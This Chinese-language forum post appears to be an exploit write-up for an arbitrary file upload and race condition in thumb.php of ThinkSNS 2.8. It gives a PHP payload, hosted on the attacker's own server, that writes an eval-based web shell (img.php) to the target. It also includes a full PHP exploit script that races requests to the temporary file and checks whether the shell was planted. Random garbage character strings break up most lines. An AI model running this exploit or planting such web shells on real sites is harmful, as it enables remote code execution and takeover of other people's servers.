漏洞版本& G0 d- p% Q, F" ?
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
3 o1 T. `( t7 {; j漏洞文件
2 t1 h7 m4 i6 j, A7 l0 ~! R存在漏洞的文件为:thumb.php
, S( L, J3 Q0 K( W: X/ P) d作者:韦鲲鹏
7 [7 Y* Z* ^8 G) T$ w: F1、 准备如下PHP文件并上传到服务器(自己的)。! M) |' X: i; Y. \+ E7 ^" O
文件内容如下:
7 G3 q2 L' N6 `) C8 D4 v3 I' l<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>$ P( U3 l+ b' t, A3 Z
2、 计算出临时的文件名:
$ m. a# ?' {. x: {这里我们可以看文件的99行(刚刚是不是没注意呀!)。
( t2 {- x" T6 A" O, Z% |3 v( {* X8 u5 z9 X. b: C
3、 上传临时文件。
" W0 d5 M# o+ D4 Y$ G' @4、 访问临时文件。: c. o1 \9 X: w% Q
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
4 b. Q+ U# L" p/ O3 k( a3 |! eExploit文件内容如下:(这个我就不详细解释了)
% e& }+ C& p) g& n; D<?php) K4 z# E7 m, W- c
error_reporting(0);% d" ^/ @# o* Q( u( q
set_time_limit(0);
; N. b2 M! O) j% I5 ?- f( H! e# [ini_set(“default_socket_timeout”, 5);
# w# t+ [1 F6 t( T3 E e3 ]function http_send($host, $port, $headers) {, \ x9 V/ ^, L% C q
$fp = fsockopen($host, $port);
% A9 c) w1 o) fif (!$fp) die(‘Connection -> fail’);1 r0 _# G7 p3 Z4 z& `% \2 k& s
fputs($fp, $headers);
0 V, m A! d: O( V' ~1 Zreturn $fp;# a. ^5 b3 _& }- O S1 B
}6 ?' N e1 Y; g. s6 s4 {. R
function http_recv($fp) {9 n! h4 D% N* d4 U6 K
$ret=”";
$ b9 ~) n/ @" T: q3 @while (!feof($fp))) [* f7 {( y' p% u3 x& A
$ret.= fgets($fp, 1024);
2 ?. B" K' z1 m2 d3 X( U: @# Vfclose($fp);% U% t* K: @6 y; ]( a+ c
return $ret;
" C* w$ J1 }, W% ?3 z0 C}
: A- O3 S* l7 s0 i5 q4 F7 }2 f3 y8 ~print “\n# ThinkSns Arbitrary File Upload #\n”;
" L$ b: l& M- f0 \print “# Discovered by 韦鲲鹏 #\n\n”;
7 H7 E# n' S! d0 M2 zif ($argc < 4) {
8 U# \+ ]4 K7 w5 c, fprint “Usage: php <host> <path> <romote_url>\n”;7 e) }# N1 a' \. @3 R( w) V# |
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;4 v1 m' S; ~6 T' p% h2 d- e
die();
7 Y* s! u# a0 o. S M7 ?! _3 N}
% q' x6 V0 X& _2 I8 d$host = $argv[1];" S( }. o" ^2 x8 X8 \3 Z
$path = $argv[2];" _: L% D1 ^5 R# t& U
$url = $argv[3];. N- A! a6 t, p7 L5 Z/ F
$i=0;( t3 \# M0 j+ R5 J
//上传数据包
! }+ ?/ ^$ }+ f4 h( J$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;/ e$ Z' L5 L5 j2 k1 L
$headers_up .= “Host: “.$host.”\r\n”;
1 j5 A* p6 x2 T- ~* j: O+ o$headers_up .= “Connection: close\r\n\r\n”;+ u1 T# b0 |: R
echo $headers_up;
% n& G3 w+ Y7 ~3 _/ K4 h7 V//临时文件访问数据包( {7 z0 t$ f0 C5 N
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
- L# N2 d( z& _7 z7 Z$headers .= “Host: “.$host.”\r\n”;; N6 L& a1 x% c- n7 e! I
$headers .= “Connection: close\r\n\r\n”;
% r, d( N1 V! t+ X- {' Mecho $headers;8 F5 W2 a/ }' t1 N' @3 z
while(++$i<10) {
& G' m+ a# ]( d+ |) a$ Xfclose(http_send($host, 80, $headers));, ]2 I+ V/ r) d5 {4 `
}
+ H6 |3 G! R. g. D+ @7 Pfclose(http_send($host, 80, $headers_up));/ U! y. n2 ]7 w3 q7 T
while(++$i<50) {& F# `' Q& H g; M
fclose(http_send($host, 80, $headers));
! S" s" |$ g# P1 ?}6 t/ z$ B) V2 A6 t, `" a
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
& O9 n2 j) S! r$headers .= “Host: “.$host.”\r\n”;5 e: i$ l$ w7 t
$headers .= “Connection: close\r\n\r\n”;
* \$ e5 y0 Q9 G/ e$res=http_recv(http_send($host, 80, $headers));0 W) R+ V/ y7 I% _+ L0 f
if(preg_match(‘/200 OK/’,$res)) {
% j3 `% ^5 Y( D. P$ lprint “Success!\n\n”;3 S C# h% U2 C7 u$ s; |9 t
} else {
0 m5 `' ]4 z1 iprint “Fail!\n\n”;
( q( u9 T0 a2 P5 B3 O}2 I% W4 W% P [" G6 i
?>
4 M( b$ F7 A* v |